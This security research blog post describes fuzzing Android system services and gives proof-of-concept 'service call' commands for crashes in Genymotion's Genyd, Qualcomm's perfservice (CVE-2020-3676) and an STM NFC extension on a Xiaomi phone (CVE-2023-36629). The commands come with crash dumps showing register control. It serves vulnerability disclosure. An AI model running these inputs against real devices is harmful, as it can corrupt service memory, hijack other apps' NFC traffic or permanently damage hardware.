Hunting for Android Privilege Escalation with a 32 Line Fuzzer
Trustwave SpiderLabs tested a couple of Android OS-based mobile devices to conduct the research on privilege escalation scenarios. Specifically, we wanted to show a straightforward process attackers may use to exploit vulnerabilities in an Android device’s system services and systems.
The testing revealed that, in some cases, exploiting the issues we found were very easy. It became apparent that some vendors have problems integrating the Android OS with third-party hardware, did not conduct security checks properly, and some third-party software was provided to vendors with vulnerabilities.
Exploiting vulnerabilities in system services is a common way to escalate privileges in modern operating systems since those services typically run at the highest system permissions. The Android operating system isn’t any different. System services are exporting calls for the Android Framework API, which is using these calls for implementing its own API. The Android System Framework implementation on each phone model differs for each manufacturer, since the services and hardware are unique for each manufacturer. Without a standardized implementation, we can expect various security issues in this OS layer. The full stack of this architecture is explained below.
Figure 1: Android architecture
https://source.android.com/docs/core/architecture#architecture
This blog post covers a simple (but surprisingly efficient) fuzzing algorithm and basic analysis of the vulnerabilities we found in three different Android-based devices.
To create a PoC service fuzzer algorithm we’ll use a standard Android program available on all Android system compilations - /system/bin/service (https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp). In a nutshell, this binary is available as part of the system. It uses the IServiceManager API, that’s based on the binder interface and can be used for communicating with the system services. You can create/modify your own custom /system/bin/service binary by compiling the full Android OS.
The parameters this program takes are described below:
$ adb shell “service -h”
Usage: service [-h|-?]
service list
service check SERVICE
service call SERVICE CODE [i32 N | i64 N | f N | d N | s16 STR ] ...
Options:
i32: Write the 32-bit integer N into the send parcel.
i64: Write the 64-bit integer N into the send parcel.
f: Write the 32-bit single-precision number N into the send parcel.
d: Write the 64-bit double-precision number N into the send parcel.
s16: Write the UTF-16 string STR into the send parcel.
By typing the “service list” command in the ADB shell, we can list the available system services:
$ service list
Found 140 services:
-
- sip: [android.net.sip.ISipService]
1 Genyd: [com.genymotion.genyd.IGenydService]
2 secure_element: [android.se.omapi.ISecureElementService]
<!—SpiderLabs Snip ->
To invoke a service call, we must define its arguments. The first argument is the service name, the second is an operation, the third is the call number, and the next N arguments are the pairs with the type of data and a value.
$ service call Genyd 1 i32 1
Result: Parcel(00000000 00000000 '........')
Having this knowledge (and poor combinatorics skills), the below Python PoC script has been created:
Figure 2: Fuzzing algorithm
Bear in mind that the above Python code snippet is only used for expressing the algorithm idea, it lacks the ADB interface implementation, log handling, and process monitoring. These features are not the subject of this blog post. The final fuzzer should be an Android application enabling the specific permissions (for example android.permission.BLUETOOTH). You can try to improve the testing coverage by replacing the “itertools.combinations” with “itertools.product” function. This basic algorithm is producing the data and prints it to the standard output for the demonstration purpose.
NOTE: Please think twice before running any kind of the further described test cases as some of them can damage your hardware!
1st Target - Genymotion Hypervisor memory corruption at SettingsModule::processParameterNotification (CVE-N/A)
Trustwave SpiderLabs raised this issue with the vendor but received no reply. However, the problem was silently patched in the versions starting from 3.2.0. No security bulletin has been released by Genymobile, and the vulnerable service has been removed from the later versions.
The issue lies in the Genyd system service. This service is responsible for the communication with the virtual machine hypervisor process (player.exe) and provides some functionalities like setting the VM ID from inside the VM. As a hypervisor, we have a modified VirtualBox under the hood.
The post execution output of our fuzzer:
$ python3.5 ./fuzzer.py Genyd
<!—SpiderLabs Snip à
service call Genyd 24 d "4294967294" f "-1" f "3.141592"
service call Genyd 25
service call Genyd 25 i64 "18446744073709551614"
service call Genyd 25 i64 "18446744073709551615"
service call Genyd 25 i64 "1"
service call Genyd 25 i64 "0"
service call Genyd 25 i32 "1"
service call Genyd 25 i32 "0"
service call Genyd 25 i32 "65535"
service call Genyd 25 i32 "4294967294"
service call Genyd 25 i32 "18446744073709551614"
service call Genyd 25 s16 "3%%n%%x%%s%s%%n1"
service call Genyd 25 s16 "AAAAAAAAAA"
service call Genyd 25 s16 "A A A A "
<!—SpiderLabs Snip à
The targeted Genymotion hypervisor process (player) has crashed. The below PoC confirming the CPU registers control has been reconstructed based on the fuzzer logs and crash analysis:
# adb -s 192.168.56.119:5555 shell
root@android:/ # service call Genyd 25 s16 "AAAA"
Result: Parcel(00000000 '....')
root@android:/ # service call Genyd 25 s16 "BBBBBBBBBBBB PPPPPPPPPPPPPPPPPPP"
Result: Parcel(00000000 '....')
root@android:/ #
The red-highlighted service calls have been monitored by the GDB debugger session attached to the hypervisor process (player). You also can see that the Genymotion hypervisor process (player) has crashed and the $RDX CPU register value is now controlled by an attacker.
root@genypoc # ps -A | grep play
52954 ? 00:00:01 player
root@genypoc # gdb
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
<!—SpiderLabs Snip à
gef➤ attach 52954
Attaching to process 52954
[New LWP 52955]
<!—SpiderLabs Snip à
gef➤ c
Continuing.
[Thread 0x7f19fcb40700 (LWP 52958) exited]
Thread 1 "player" received signal SIGSEGV, Segmentation fault.
0x00007f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) () from /home/user/Downloads/genymotion/libcom.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
───── registers ────
$rax : 0x000000038368f0 → 0x0000000200000001
$rbx : 0x007ffedf1f2a60 → 0x000000038368f0 → 0x0000000200000001
$rcx : 0x1
$rdx : 0x41004100410041
$rsp : 0x007ffedf1f2a20 → 0x0000000000000007
$rbp : 0x00000002cbb1e0 → 0x007f1a0eb51198 → 0x007f1a0e93b160 → <SettingsModule::metaObject()+0> mov rdi, QWORD PTR [rdi+0x8]
$rsi : 0x0
$rdi : 0x1
$rip : 0x007f1a0e91ef63 → <SettingsModule::processParameterNotification(QString+0> mov eax, DWORD PTR [rdx]
$r8 : 0x0
$r9 : 0x1
$r10 : 0x00000003836900 → 0x00000003796e50 → 0x0000001300000002
$r11 : 0x00000003796e68 → 0x50005000500050 ("P"?)
$r12 : 0x007ffedf1f2a80 → 0x41004100410041 ("A"?)
$r13 : 0x007ffedf1f2a40 → 0x000000046efc70 → 0x0000000200000001
$r14 : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002
$r15 : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───── stack ────
0x007ffedf1f2a20│+0x0000: 0x0000000000000007 ← $rsp
0x007ffedf1f2a28│+0x0008: 0x007f1a0c1ba69a → <QString::compare_helper(QChar+0> mov rdi, QWORD PTR [rsp+0x18]
0x007ffedf1f2a30│+0x0010: 0x00000002cbb218 → 0x000000035a5b50 → 0x0000000500000001
0x007ffedf1f2a38│+0x0018: 0x00000002cbb220 → 0x00000003602060 → 0x0000000600000001
0x007ffedf1f2a40│+0x0020: 0x000000046efc70 → 0x0000000200000001 ← $r13
0x007ffedf1f2a48│+0x0028: 0x0000000000002b ("+"?)
0x007ffedf1f2a50│+0x0030: 0x00000003796e50 → 0x0000001300000002 ← $r14, $r15
0x007ffedf1f2a58│+0x0038: 0x007f1a0c142acd → <QArrayData::allocate(unsigned+0> mov rdx, rax
───── code:x86:64 ────
0x7f1a0e91ef55 <SettingsModule::processParameterNotification(QString+0> movsxd rdx, DWORD PTR [rax+0x8]
0x7f1a0e91ef59 <SettingsModule::processParameterNotification(QString+0> mov rdx, QWORD PTR [rax+rdx*8+0x10]
0x7f1a0e91ef5e <SettingsModule::processParameterNotification(QString+0> mov QWORD PTR [rsp+0x60], rdx
→ 0x7f1a0e91ef63 <SettingsModule::processParameterNotification(QString+0> mov eax, DWORD PTR [rdx]
0x7f1a0e91ef65 <SettingsModule::processParameterNotification(QString+0> add eax, 0x1
0x7f1a0e91ef68 <SettingsModule::processParameterNotification(QString+0> cmp eax, 0x1
0x7f1a0e91ef6b <SettingsModule::processParameterNotification(QString+0> jbe 0x7f1a0e91ef71 <_ZN14SettingsModule28processParameterNotificationERK7QString+801>
0x7f1a0e91ef6d <SettingsModule::processParameterNotification(QString+0> lock add DWORD PTR [rdx], 0x1
0x7f1a0e91ef71 <SettingsModule::processParameterNotification(QString+0> mov rax, QWORD PTR [rsp+0x40]
───── threads ────
[#0] Id 1, Name: "player", stopped 0x7f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) (), reason: SIGSEGV
<!—SpiderLabs Snip à
───── trace ────
[#0] 0x7f1a0e91ef63 → SettingsModule::processParameterNotification(QString const&)()
[#1] 0x7f1a0e908617 → RedisDispatcher::dispatch(QString const&, QString const&)()
[#2] 0x7f1a0c33b7e6 → QMetaObject::activate(QObject*, int, int, void**)()
[#3] 0x7f1a0e92f957 → RedisSubscriber::newMessageReceived(QString const&, QString const&)()
[#4] 0x7f1a0e905d6b → callback_message(redisAsyncContext*, void*, void*)()
[#5] 0x7f1a0efa12ee → redisProcessCallbacks()
[#6] 0x7f1a0c33b4b9 → QMetaObject::activate(QObject*, int, int, void**)()
[#7] 0x7f1a0c3476d8 → QSocketNotifier::activated(int, QSocketNotifier::QPrivateSignal)()
[#8] 0x7f1a0c347a3b → QSocketNotifier::event(QEvent*)()
[#9] 0x7f1a0b55e7ec → QApplicationPrivate::notify_helper(QObject*, QEvent*)()
──────────
gef➤
Further testing established that some input data could lead to control of the pointer of a QList element, this may end with the crash on a free() with an attacker's provided argument.
This situation gives us some perspective for conducting memory corruption attacks like double-free or use-after-free. However, a second exploit is required that would provide a leaked heap pointer for this scenario to materialize. Luckily for the developers, the service does not crash when the IPC parcels are sent from the regular APK application. That means that the exploit must be sent as the ADB shell user. Still, a limited surface for an attack exists.
2nd Target - Qualcomm perfservice daemon Out-Of-Bound Memory Corruption (CVE-2020-3676)
Again, by typing the “service list” command, a list of available system services is shown. We can see the “vendor.perfservice” service is available for the ADB shell user:
$ service list
Found 169 services:
0 com.qualcomm.location.izat.IzatService: [com.qti.izat.IIzatService]
<!—SpiderLabs Snip
162 vendor.perfservice: [com.qualcomm.qti.IPerfManager]
163 installd: []
<!—SpiderLabs Snip
service call vendor.perfservice 1 i32 1
Result: Parcel(00000000 ffffffff '........')
After we execute our fuzzer, we can see the below snippet of an output:
$ python3.5 ./fuzzer.py
<!—SpiderLabs Snip à
service call vendor.perfservice 4 i32 "1" i32 "0"
service call vendor.perfservice 4 i32 "1" i32 "65535"
service call vendor.perfservice 4 i32 "1" i32 "4294967294"
<!—SpiderLabs Snip à
The below snippet shows the execution of the above calls:
joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "0"
Result: Parcel(00000000 ffffffff '........')
joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "65535"
Result: Parcel(00000000 ffffffff '........')
joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "4294967294"
Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")
During the logcat session, the following crash dump was intercepted for the /system/bin/perfservice binary:
joan:/ $ logcat -b crash | |
01-24 16:14:32.437 16141 16141 F libc : | Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb76d8b0 in tid 16141 (perfservice), pid 16141 (perfservice) |
01-24 16:14:32.462 18609 18609 F DEBUG : | *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** |
01-24 16:14:32.462 18609 18609 F DEBUG : | Build fingerprint: 'lge/joan_global_com/joan:9/PKQ1.190414.001/193091504cde8:user/release-keys' |
01-24 16:14:32.462 18609 18609 F DEBUG : | Revision: '13' |
01-24 16:14:32.462 18609 18609 F DEBUG : | ABI: 'arm64' |
01-24 16:14:32.462 18609 18609 F DEBUG : | pid: 16141, tid: 16141, name: perfservice >>> /system/bin/perfservice <<< |
01-24 16:14:32.462 18609 18609 F DEBUG : | signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb76d8b0 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x0 00000071bc450000 x1 0000000000000001 x2 00000000fffffffe x3 0000007bdb76d8f0 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x4 000000000000002e x5 00000071bc42e3b2 x6 002e006d006f0063 x7 006c006100750071 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x8 00000055fefd0b94 x9 0000000400000000 x10 0000000000000000 x11 0000000000000072 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x12 006e0061004d0066 x13 0072006500670061 x14 ffffffffff000000 x15 ffffffffffffffff |
01-24 16:14:32.462 18609 18609 F DEBUG : | x16 00000055fefeced0 x17 00000071bcacf510 x18 0000000000000001 x19 0000007fdb76d9a0 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x20 00000071bc450000 x21 0000007fdb76da08 x22 0000000000000001 x23 00000000fffffffe |
01-24 16:14:32.462 18609 18609 F DEBUG : | x24 0000007bdb76d8f0 x25 00000071bcf615b8 x26 0000007fdb76d8f0 x27 0000000000000000 |
01-24 16:14:32.462 18609 18609 F DEBUG : | x28 0000000000000000 x29 0000007fdb76d950 |
01-24 16:14:32.462 18609 18609 F DEBUG : | sp 0000007bdb76d8f0 lr 00000055fefd075c pc 00000055fefd0b94 |
01-24 16:14:32.465 18609 18609 F DEBUG : | backtrace: |
01-24 16:14:32.465 18609 18609 F DEBUG : | #00 pc 0000000000003b94 /system/bin/perfservice (android::PerfService::perfLockAcquire(int, int, int*)) |
01-24 16:14:32.465 18609 18609 F DEBUG : | #01 pc 0000000000003758 /system/bin/perfservice (android::BnPerfManager::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+492) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #02 pc 000000000004f998 /system/lib64/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+136) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #03 pc 000000000005aa38 /system/lib64/libbinder.so (android::IPCThreadState::executeCommand(int)+520) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #04 pc 000000000005a774 /system/lib64/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+156) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #05 pc 000000000005ae3c /system/lib64/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+60) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #06 pc 00000000000054f8 /system/bin/perfservice (main+452) |
01-24 16:14:32.466 18609 18609 F DEBUG : | #07 pc 00000000000ad7dc /system/lib64/libc.so (__libc_init+88) |
The service is running as a system user:
joan:/ $ ps -A | grep perf
root 64 2 0 0 0 0 S [perf]
root 538 2 0 0 0 0 S [msm_perf:events]
root 16129 1 22564 3680 0 0 S vendor.qti.hardware.perf@1.0-service
system 18612 1 21024 3348 0 0 S perfservice
Additional tests as a regular Android application user confirmed that the bug is reachable from any application installed on the smartphone. The below command was used to confirm the control of the CPU registers, please note that the value 2442302356 is represented by the hex value 0x91929394 likewise the value -2 equals 0xfffffffe:
joan $ service call vendor.perfservice 4 i32 2442302356 i64 -2
Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")
The crash has been intercepted:
joan:/ $ logcat -b crash | |
01-24 16:22:16.149 18612 18612 F libc : | Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb14a2c0 in tid 18612 (perfservice), pid 18612 (perfservice) |
01-24 16:22:16.176 18795 18795 F DEBUG : | *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** |
01-24 16:22:16.176 18795 18795 F DEBUG : | Build fingerprint: 'lge/joan_global_com/joan:9/PKQ1.190414.001/193091504cde8:user/release-keys' |
01-24 16:22:16.176 18795 18795 F DEBUG : | Revision: '13' |
01-24 16:22:16.176 18795 18795 F DEBUG : | ABI: 'arm64' |
01-24 16:22:16.176 18795 18795 F DEBUG : | pid: 18612, tid: 18612, name: perfservice >>> /system/bin/perfservice <<< |
01-24 16:22:16.176 18795 18795 F DEBUG : | signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb14a2c0 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x0 0000007ea2050000 x1 0000000091929394 x2 00000000fffffffe x3 0000007bdb14a300 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x4 000000000000002e x5 0000007ea202e3b2 x6 002e006d006f0063 x7 006c006100750071 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x8 000000562587eb94 x9 0000000400000000 x10 0000000000000000 x11 0000000000000072 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x12 006e0061004d0066 x13 0072006500670061 x14 ffffffffff000000 x15 ffffffffffffffff |
01-24 16:22:16.176 18795 18795 F DEBUG : | x16 000000562589aed0 x17 0000007ea2655510 x18 0000000000000001 x19 0000007fdb14a3b0 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x20 0000007ea2050000 x21 0000007fdb14a418 x22 0000000091929394 x23 00000000fffffffe |
01-24 16:22:16.176 18795 18795 F DEBUG : | x24 0000007bdb14a300 x25 0000007ea2b875b8 x26 0000007fdb14a300 x27 0000000000000000 |
01-24 16:22:16.176 18795 18795 F DEBUG : | x28 0000000000000000 x29 0000007fdb14a360 |
01-24 16:22:16.176 18795 18795 F DEBUG : | sp 0000007bdb14a300 lr 000000562587e75c pc 000000562587eb94 |
01-24 16:22:16.176 18795 18795 F DEBUG : | backtrace: |
01-24 16:22:16.176 18795 18795 F DEBUG : | #00 pc 0000000000003b94 /system/bin/perfservice (android::PerfService::perfLockAcquire(int, int, int*)) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #01 pc 0000000000003758 /system/bin/perfservice (android::BnPerfManager::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+492) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #02 pc 000000000004f998 /system/lib64/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+136) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #03 pc 000000000005aa38 /system/lib64/libbinder.so (android::IPCThreadState::executeCommand(int)+520) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #04 pc 000000000005a774 /system/lib64/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+156) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #05 pc 000000000005ae3c /system/lib64/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+60) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #06 pc 00000000000054f8 /system/bin/perfservice (main+452) |
01-24 16:22:16.176 18795 18795 F DEBUG : | #07 pc 00000000000ad7dc /system/lib64/libc.so (__libc_init+88) |
A short snippet of the android::PerfService::perfLockAcquire function dissassemby:
;-- android::PerfService::perfLockAcquire(int, int, int*)
<-- SpiderLabs Snip -->
0x00003b88 add x1, x1, 0x5b5 ; 0x55b5 ; "PerfService"
0x00003b8c add x2, x2, 0x667 ; 0x5667 ; "couldn't get uxe_event function handle."
0x00003b90 b 0x3b48
;-- aav.0x00003b94:
0x00003b94 stp x24, x23, [sp, -0x40]! ; < ==== CRASH
0x00003b98 stp x22, x21, [sp, 0x10]
<-- SpiderLabs Snip -->
According to the ARM64 documentation, the STP instruction stores the values of registers x24, and x23 at the address provided by the third argument ([sp, -0x40]). An attacker can control the value to write, and the destination address ([sp, -0x40]) can be manipulated as well. The pseudo-code generated by the popular reverse engineering toolkit, Ghidra, helps with understanding the logic of this issue.
Figure 3: android::PerfService::perfLockAcquire pseudocode
The switch condition for case number #4 (line 62) is responsible for handling the call number 4 of the service. The third value that is being read from the user by an android::Parcel::readInt32 function returns the value “-2” and is used to calculate an offset for the stack variable. The vulnerability allows an attacker to overwrite a selected memory address towards the lower stack addresses, which, for the ARM architecture means overwriting a free and uninitialized memory, however, without limits for the boundary.
3rd Target - Xiaomi Redmi Note 10S - Multiple nfc.st_ext Service Vulnerabilities (CVE-2023-36629)
This time, the fuzzer found a couple of crashes during the nfc.st_ext service testing, the service runs on the Xiaomi Redmi Note 10S (MIUI 13.0.5 Stable). Further analysis confirmed possible exploitability of some findings. The issue was submitted to Xiaomi using one of the bug bounty platforms.
Besides the memory corruption vulnerabilities, I included in the issue submission a potential privilege escalation vulnerability, because any regular APK was able to execute evidently sensitive NFC service calls. After two months of pickling this issue, Xiaomi declined their responsibility and recommended submitting the issue to the STMicroelectronics, which I did.
Figure 4: Xiaomi response
STM analysed the issue quickly and patched the memory corruption issues. A couple of excessive, but potentially exploitable, API calls have been removed from their library. Interestingly, STM also declined any responsibility:
[…] Thank you for this report […]
Please note that the issues you’ve identified don’t affect an ST product. Instead, they impact an open-source library, provided under APACHE 2.0 licensing, we’ve used as an example of implementation for our customers (“Library”). You could find below the results of our analysis.[…]
And told us that the privilege-escalation issue did not exist in their builds:
[…]
1.Privilege escalationAnalysis:
-
- The nfc.st_ext service interface has “nfc_service” SELinux label, so applications capable to bind to NFC can bind to these extensions as well, this is not restrictive.
- However, the services calls in this interface, that lead to sensitive operations such as programHceParameters, are checking that the caller process has the android.Manifest.permission.WRITE_SECURE_SETTINGS permission.
- Calling the service from adb, as shown in the report, bypasses this check. […]
3.Hardware damage
Analysis:
- Setting random parameters with setProprietaryConfigSettings may have caused an irreversible problem in this test sequence.
- However, setProprietaryConfigSettings system call requires android.Manifest.permission.WRITE_SECURE_SETTINGS.
- Calling the service from adb, as shown in the report, bypasses this check.
Corrective actions:
No corrective action since only applications delivered by the OEM can set NFC controller parameters and so a third-party malicious APK would not be able to cause such damage to the NFC controller. [..]
At this step, we were able to prove that we could execute service calls as an APK on a Xiaomi Redmi 10S Note. However, since STM provides their code as open-source under APACHE 2.0 Licensing, they admit that how a vendor implements the library is up to them and certain implementations may have disabled the necessary permission check. STM reached out to Xiaomi to inform them of the issue.
Hello,
As the end product is developed and owned by its manufacture, Xiaomi Redmi, our analysis was not performed on Xiaomi Redmi 10S Note. We did perform an analysis on our internal reference device with latest version of our stack.
This appears to be the reason your demonstration on privilege escalation highlights a gap between the open-source reference code we used, which contains a permission check preventing these issues, and the open-source code used on the model you tested from Xiaomi Redmi.
As mentioned, the NFC service and its libraries are provided under APACHE 2.0 licensing so they can be modified by our customers. Based on your feedback, we have informed Xiaomi so it can address the issue on the models concerned.
For the issues affecting getProprietaryConfigSettings and nativeNfcStExtensions_getAvailableHciHostList, whether to post a Public Advisory on ST PSIRT website is still under discussion but we are taking the steps we have already identified in our earlier message.
Thank you again for your report and cooperation.
The described issues could allow an attacker to interfere with the NFC communication of the other applications installed on the user’s device, set the NFC NCI configuration, and execute the raw HCI (Host-Controller-Interface) commands on the selected NFC pipe/card emulator. Some of the service calls incorrectly handle an input, leading to memory corruptions that might be used to inject the code into the context of the NFC system service. The case of a persistent hardware fault has been observed, when invoking a specific service call.
The vulnerable system service com.android.nfc is located under the path: /system/system_ext/app/Nfc_st/Nfc_st.apk on the investigated Xiaomi Redmi Note 10s phone with firmware “Android 12SP1A.210812.016, MIUI 13.0.5 Stable”.
The tested device is exporting the nfc.st_ext service:
rosemary:/ $ service list | grep nfc
142 mi_nfc: [com.xiaomi.nfc.IMiNfcAdapter]
176 nfc: [android.nfc.INfcAdapter]
177 nfc.st_ext: [com.st.android.nfc_extensions.INfcAdapterStExtensions]
178 nfc_settings: [com.mediatek.nfcsettingsadapter.INfcSettingsAdapter]
It’s been established that any application can exchange IPC calls with this service without the need to request any privileges, including the android.permission.WRITE_SECURE_SETTINGS and android.permission.NFC.
The below screenshot shows a snippet of the native functions identified in the com.android.nfc.dhimpl.NativeNfcStExtensions class implemented in the Nfc_st.apk. These native C/C++ functions are imported from the /system/system_ext/lib64/libstnfc_nci_jni.so library.
Figure 5: Nfc_St.apk decompiled view
Many of the above functions were available through the exported service calls without any privilege check. Especially, two functions specifically caught our eye – transceive and transceiveEE. The further content presents a PoC demo for the simple privilege escalation scenarios.
The following commands have been executed:
rosemary:/ $ service call nfc.st_ext 17 i32 6 i32 1 # connectGate
Result: Parcel(00000000 000000ff '........')
rosemary:/ $ service call nfc.st_ext 18 i32 6 i32 2 s16 AA # transceive
Result: Parcel(00000000 00000000 '........')
rosemary:/ $ service call nfc.st_ext 19 i32 6 i32 1 # disconnectGate
This resulted in the following output in the logcat logs:
01-31 14:50:35.533 | 29259 29273 | I | NfcService: | connectGate() - host_id = 6 - gate_id = 1 |
01-31 14:50:35.533 | 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 14:50:35.53 | 581 29290 | D | StNfcHal: | (#00047) Tx 01 00 03 (hidden) |
01-31 14:50:35.534 | 581 29291 | W | StNfcHal: | ! i2cWrite!!, errno is 'I/O error' |
01-31 14:50:35.540 | 581 29291 | D | StNfcHal: | (#00048) Rx 01 00 04 (hidden) |
01-31 14:50:35.541 | 581 29291 | D | StNfcHal: | (#00049) Rx 60 06 03 01 01 01 |
01-31 14:50:48.981 | 29259 29273 | I | NfcService: | transceive() - pipe_id = 6 - HCI cmd = 2 |
01-31 14:51:33.781 | 29259 29312 | I | NfcService: | disconnectGate() - pipe_id = 6 |
Although the above commands don’t execute any specific NFC action, the logcat logs show that the ADB shell user can send the HCI commands to the chosen pipe.
Further testing proved that any application on our Xiaomi smartphone can execute these service calls, and, therefore, interact with the other application’s emulated card/secure element. Both the kernel and the NFC service layer have access to sensitive information transmitted over NFC, while the user-mode apps are isolated from this sensitive information, enforcing the Android Framework API.
This bug would allow an attacker to bypass the framework layer and send the HCI packets directly to the device. Technical specification document ETSI TS 102 622 V13.0.0 describes the HCI NFC architecture and its features. These three calls mentioned above were removed from the android-packages-apps-NFC GitHub repository after our submission.
It’s also been proven that the incorrect execution of the com.android.nfc.NfcService.programHceParameters function can disconnect other applications from the NFC resulting in service disruption. Correct execution should allow an attacker to set HCE parameters.
rosemary:/ $ service call nfc.st_ext 34
Result: Parcel(00000000 '....')
The above command execution as an application A resulted in the tag disconnection during the communication for application B.
01-31 15:19:49.321 | 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.321 | 581 29290 | D | StNfcHal: | (#014EC) Tx 21 04 03 01 04 02 |
01-31 15:19:49.323 | 581 29291 | D | StNfcHal: | (#014ED) Rx 41 04 01 00 |
01-31 15:19:49.327 | 581 29291 | D | StNfcHal: | (#014EE) Rx 61 05 1a 01 02 04 00 ff 00 0a 04 00 04 08 ff fe 68 01 20 00 00 00 00 05 04 78 80 70 02 |
01-31 15:19:49.328 | 581 29291 | D | StNfcHal: | (#014EF) Rx 60 06 03 01 00 01 |
01-31 15:19:49.329 | 29259 29259 | D | NfcDispatcher: | dispatchTag |
01-31 15:19:49.329 | 29259 3413 | D | StNativeNfcTag: | Starting background presence check |
01-31 15:19:49.339 | 29259 29307 | D | NfcDispatcher: | Set Foreground Dispatch |
01-31 15:19:49.346 | 29259 29259 | I | NfcDispatcher: | matched TECH override |
01-31 15:19:49.347 | 29259 29307 | I | NfcService: | programHceParameters() - setConfig: false |
01-31 15:19:49.348 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.348 | 581 29290 | D | StNfcHal: | (#014F0) Tx 21 06 01 00 |
01-31 15:19:49.348 | 581 29291 | D | StNfcHal: | (#014F1) Rx 41 06 01 00 |
01-31 15:19:49.349 | 29259 29273 | D | NfcDispatcher: | Set Foreground Dispatch |
01-31 15:19:49.352 | 581 29291 | D | StNfcHal: | (#014F2) Rx 61 06 02 00 00 |
01-31 15:19:49.352 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.353 | 581 29290 | D | StNfcHal: | (#014F3) Tx 20 02 04 01 85 01 01 |
01-31 15:19:49.354 | 581 29291 | D | StNfcHal: | (#014F4) Rx 40 02 02 00 00 |
01-31 15:19:49.355 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.355 | 581 29290 | D | StNfcHal: | (#014F5) Tx 20 02 01 00 |
01-31 15:19:49.356 | 581 29291 | D | StNfcHal: | (#014F6) Rx 40 02 02 00 00 |
01-31 15:19:49.357 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.357 | 581 29290 | D | StNfcHal: | (#014F7) Tx 20 02 01 00 |
01-31 15:19:49.357 | 581 29291 | D | StNfcHal: | (#014F8) Rx 40 02 02 00 00 |
01-31 15:19:49.358 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.358 | 581 29290 | D | StNfcHal: | (#014F9) Tx 20 02 01 00 |
01-31 15:19:49.359 | 581 29291 | D | StNfcHal: | (#014FA) Rx 40 02 02 00 00 |
01-31 15:19:49.359 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_pre_discover |
01-31 15:19:49.359 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
01-31 15:19:49.359 | 581 29290 | D | StNfcHal: | (#014FB) Tx 21 03 0d 06 00 01 01 01 02 01 80 01 81 01 06 01 |
01-31 15:19:49.360 | 581 29291 | D | StNfcHal: | (#014FC) Rx 41 03 01 00 |
01-31 15:19:49.363 | 29259 3409 | D | StNativeNfcTag: | Tag lost, restarting polling loop |
01-31 15:19:49.363 | 29259 3409 | E | libnfc_nci: | [ERROR:StNativeNfcTag.cpp(1225)] nativeNfcTag_doDisconnect: tag already deactivated |
01-31 15:19:49.363 | 29259 3409 | D | NfcService: | Not updating discovery parameters, tag connected. |
01-31 15:19:49.364 | 29259 3409 | D | StNativeNfcTag: | Stopping background presence check |
01-31 15:19:49.384 | 581 29291 | D | StNfcHal: | (#014FD) Rx 61 05 1a 01 02 04 00 ff 00 0a 04 00 04 08 a5 04 2c 01 20 00 00 00 00 05 04 78 80 70 02 |
01-31 15:19:49.385 | 581 581 | D | StNfcHal: | HAL st21nfc: StNfc_hal_write |
Several service calls were vulnerable to memory corruption issues. These service calls can be executed by any application installed on a victim’s device as there is no privilege check on the Xiaomi Redmi 10S Note device. Therefore, the issue might be used to execute a code in the nfc.st_ext service context or in order to read the NFC service memory.
